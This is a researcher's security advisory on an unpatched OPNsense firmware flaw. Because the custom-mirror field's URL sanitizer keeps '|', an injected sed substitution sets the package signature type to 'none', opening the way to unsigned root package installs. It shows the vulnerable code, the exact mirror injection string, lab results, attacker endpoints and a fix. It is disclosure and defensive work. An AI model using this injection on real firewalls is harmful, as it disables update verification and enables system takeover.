OPNsense firmware mirror sed-skips pkg fingerprints
OPNsense core 26.7.6 Firmware set POSTs a custom mirror. FILTER_SANITIZE_URL keeps the sed delimiter. opnsense-update -m interpolates it into OPNsense.conf and can flip signature_type to none. Labbed.
- Name
- OPNsense firmware mirror sed-skips pkg fingerprints
- Type
- 0-day analysis
- CVE
- n/a
- CVE Risk
- high
- Disclosure Status
- public
- Vendor
- OPNsense (Deciso B.V.)
- Affected
- OPNsense core 26.7.6 (a842fe48) Firmware set custom mirror/flavour. page-system-firmware-manualupdate without page-all. Sed lives in out-of-pin opnsense-update; core is the unsanitized field plus -m pass.
- Published
- 13 Oct 2026
- Updated
- 13 Oct 2026
- Tags
- 0-day, opnsense, firmware, pkg, cwe-74, cwe-347
PHP sanitizes URLs. sed still sees the pipe.
I am @abraxas_null. The proof of concept is on GitHub: abraxas/opnsense-firmware-mirror-sed (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, run.sh, poc.py, sanitize.php, apply_mirror.sh. Authorized lab only. It talks to loopback.
This is OPNsense core 26.7.6 "Xenial Xenops" (a842fe48c21288d11a422cb944678e8eb308becf). No CVE yet. CWE-74 / CWE-347. 7.2 High (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H). Remote. Signature skip. Privilege page-system-firmware-manualupdate. PR:H because the firmware page is already allowed to install signed packages. Score 8.8 if that page is treated as PR:L.
The settings page offers a custom mirror of still-signed OPNsense packages. It has no "disable signatures" control. Firmware.xml mirror is a bare TextField. setAction runs FILTER_SANITIZE_URL. That sanitizer keeps | ; # ". | is the s||| delimiter in opnsense-update. A mirror that closes the first substitute can run a second substitute on signature_type. Then POST /api/core/firmware/install/<pkg> is pkg install -y as root from the attacker URL.
Sed lives in out-of-pin opnsense-update. Core on this pin is the unsanitized field plus the -m pass. The lab re-runs that program text.
Why firmware after the 2026 wave
I pinned 26.7.6, not master, not 27.1.a, not EOL 26.1. Twenty-eight hunts. The public RCE and XSS and XPath wave is closed on this peel. mwexec($cmd) is gone. Configd %s quoting is the safe helper. Firmware install is supposed to be the one page that is allowed to change packages, and only from a fingerprint-signed repo.
That is a trust boundary. A custom mirror is a URL. A URL is not a sed script. If the page can turn verification off, the page is no longer "install signed packages." It is "install whatever this host serves."
Default config.xml.sample only grants page-all to group admins. An operator can attach System: Firmware to a second account without All pages. That ACL is meant to pick a signed mirror. It is not meant to rewrite signature_type.
The skip list
None of the public core CVEs on this pin are firmware-update leftovers. Closest adjacent closed items:
- GHSA-pp58 CSRF via GET-mutating API. Firmware install/update/upgrade/set/reboot are POST-gated. Session POST still hits CSRF.
- GHSA-vw8q
Config::save()vsuser-config-readonly. FirmwaresetActiongoes throughsave()which callsthrowReadOnly(). - GHSA-p9pr comma-separated privs. Firmware is its own ACL tag
page-system-firmware-manualupdate. - CVE-2026-44193 XMLRPC
restore_config_section. Firmware XMLRPC on this pin is version strings only.
Changelog fetch still goes through opnsense-verify. Plugin names go through filter_pkgname. I did not re-file transport MITM of a stock HTTP mirror that still requires fingerprints.
Surfaces that returned nothing
Unauth firmware is 401. Dashboard-only is 403. I looked for a plugin-name path traversal. SanitizeFilter::filter_pkgname strips everything except [0-9a-zA-Z._-]. / is gone. .. can remain as a pkg name. install.sh does not join it as a filesystem path.
Command injection via pkg name dies at configd single-quotes. output_cmd rejects ' and evals single-quoted args. Launcher only runs names in COMMANDS unless -s, and -s is a hardcoded rc.firmware.subr for auto-update.
details.sh / license.sh unquoted ${PACKAGE} looked loud until the API sanitize and the configd quote made the argv one word. License path is local pkg query, not a user path.
Custom mirror without a verify skip is admin-intended. Fingerprints stay. That is transport. Drop.
I almost dropped the whole hunt because FILTER_SANITIZE_URL sounds like it would eat |. It does not.
How setAction keeps the delimiter
foreach ($values as $key => &$value) {
if ($key == 'plugins') {
unset($values[$key]);
} else {
$value = filter_var($value, FILTER_SANITIZE_URL);
}
}Plugins are discarded on purpose. Mirror is not. Save then firmware reload -> pluginctl -c firmware_reload -> system_firmware_configure -> executable scripts under scripts/firmware/repos/. Core's script passes the stored mirror into opnsense-update via shell_safe (escaped for the shell, not for sed):
if (!empty($config->system->firmware->mirror)) {
$frmt[] = '-m %s';
$args[] = $config->system->firmware->mirror . $url_sub;
}
shell_safe($frmt, $args);The command is opnsense-update -sd -A <abi> -m <mirror>. -s means "only rewrite the repo file." -d restores OPNsense.conf from .sample first (fingerprints on), then -m rewrites the url: line.
Out-of-pin opnsense-update does:
URL_KEY="^[[:space:]]*url:[[:space:]]*"
sed -i '' '/'"${URL_KEY}"'/s|".*${ABI}|"'"${DO_MIRRORURL#"-m "}"'/${ABI}|' ${ORIGIN}| is the s||| delimiter. A custom mirror of the form https://host/;/signature_type/s/"fingerprints"/"none"/;# closes the first substitute, then runs a second substitute on the signature_type line, then comments out the trailing /${ABI}| that core appends. Flavour -n is the same class.
Stock repo template is fingerprints, not none:
OPNsense: {
fingerprints: "/usr/local/etc/pkg/fingerprints/OPNsense",
url: "%%CORE_PACKAGESITE%%/${ABI}/%%CORE_ABI%%/latest",
signature_type: "fingerprints",
...
}Once signature_type is not "fingerprints", the same opnsense-update sets DO_INSECURE=-i and register_pkgs rewrites fingerprints to "none" for the pending local repo. pkg-static then installs without fingerprint checks. Core install.sh is pkg install -y "${PACKAGE}" as root.
Trusted fingerprint on this pin is only pkg.opnsense.org.20260608. I did not find a GUI path that replaces that file. The skip is the rewritten signature_type, not a missing fingerprint file.
Wrong turns, in order
I expected FILTER_SANITIZE_URL to strip |. PHP keeps it. The lab printed the sanitized string with the pipe still in it.
I treated System: Firmware as "this page is allowed to install packages, so unsigned is in model." The page is allowed to install signed packages. There is no "disable signatures" checkbox. That is the leftover.
I worried BSD sed would reject the extra command and leave fingerprints in place. Then this is only a broken custom-mirror save, and I drop it. The lab GNU sed (same program text, no Darwin -i '') wrote signature_type: "none". Control mirror stayed "fingerprints".
I looked at flavour -n as a second finding. Same class, same sed. One report.
I did not ship an unsigned package. The oracle is a witness file after the conf rewrite. Live pkg install of an unsigned payload stays inferred.
The lab
PHP 8.3 gadget of pin FILTER_SANITIZE_URL plus the mod_mirrorurl sed. Loopback HTTP 127.0.0.1:18860. Compose project opnsense-firmware-mirror-sed. Control POST uses https://pkg.opnsense.org. Attack POST uses https://example.invalid/|;/signature_type/s/"fingerprints"/"none"/;#. Plugins field is discarded. Witness is written only on the attack rewrite.
Full OPNsense FreeBSD VM is out of this lab pass. Live pkg install of an unsigned package is not run. No exploit payloads. No unsigned package payload.
Last run:
SUCCESS opnsense-firmware-mirror-sed sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes OPNSENSE-FIRMWARE-MIRROR-SED-WITNESSStack tears down on EXIT.
What an attacker can do
| Method | Sink | Privilege |
|---|---|---|
FILTER_SANITIZE_URL on a custom mirror with | then opnsense-update-style sed |
rewrite of OPNsense.conf |
Integrity (lab-proven): signature_type "none". Control mirror stays "fingerprints". Lab: sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes. |
| Same set, plugins field | setAction discards plugins |
Negative (lab-proven): plugins discarded before save. |
Then POST /api/core/firmware/install/<pkg> |
pkg install -y as root from the attacker URL |
Integrity (inferred): unsigned package as root. Firmware page already installs signed packages; this leftover is the verify skip. No unsigned payload in the lab. |
Then POST /api/core/firmware/update or /upgrade |
opnsense-update -pt / -u as root |
Integrity (inferred): base/kernel sets with verify skipped (DO_INSECURE). |
GET /api/core/firmware/info, /running, /upgradestatus |
firmware API | Recon (inferred): package lists, update log, mirror options. Intended for this ACL. |
POST /api/core/firmware/reboot, /poweroff, /remove/<pkg> |
configd firmware actions | Availability (inferred): reboot/halt/remove. Intended for this ACL, not the leftover. |
Lab-proven vs inferred: sanitize keeps | and signature_type none are lab-proven. Live unsigned pkg install is inferred. Gadget, not a full OPNsense VM.
Requires: signed-in user or that user's Local API key with page-system-firmware-manualupdate and without page-all. CSRF on session POST. Not unauth. Not dashboard-only.
Adjacent surface that stays closed
| Surface | Lab |
|---|---|
| Unauth firmware | 401 |
| Dashboard-only | 403 |
Control mirror https://pkg.opnsense.org |
signature_type stays "fingerprints" |
| Plugin-name traversal | filter_pkgname |
| Changelog fetch | still opnsense-verify |
user-config-readonly on save() |
throwReadOnly() |
| Stock HTTP mirrors without a verify skip | transport MITM; fingerprints still required |
| XMLRPC firmware | version strings only |
No unauth. No dashboard-only. Changelog still signed. configd.socket 0666 is the documented backend, not this leftover.
The fix
Reject a custom mirror that is not a URL. Strip sed metacharacters (|, ;, #, ") before opnsense-update -m / -n, or pass the URL as a file so sed never sees it as program text. Keep signature_type: "fingerprints" unless a separate, audited control turns verification off. Do not let Firmware set rewrite fingerprints to "none".
Replay:
cd lab
./run.shLoopback 127.0.0.1:18860. Witness OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS.
References
- Pack: github.com/abraxas/opnsense-firmware-mirror-sed
- Product: github.com/opnsense/core
a842fe48c21288d11a422cb944678e8eb308becf FirmwareController.phpsetActionscripts/firmware/repos/OPNsense.phpOPNsense.conf.shadow.in- Out-of-pin sink:
opnsense-updatemod_mirrorurl - CWE-74 / CWE-347
Abraxas Labs
https://abraxaslabs.tech
https://github.com/abraxas
https://x.com/abraxas_null (@abraxas_null)
abraxas.null@proton.me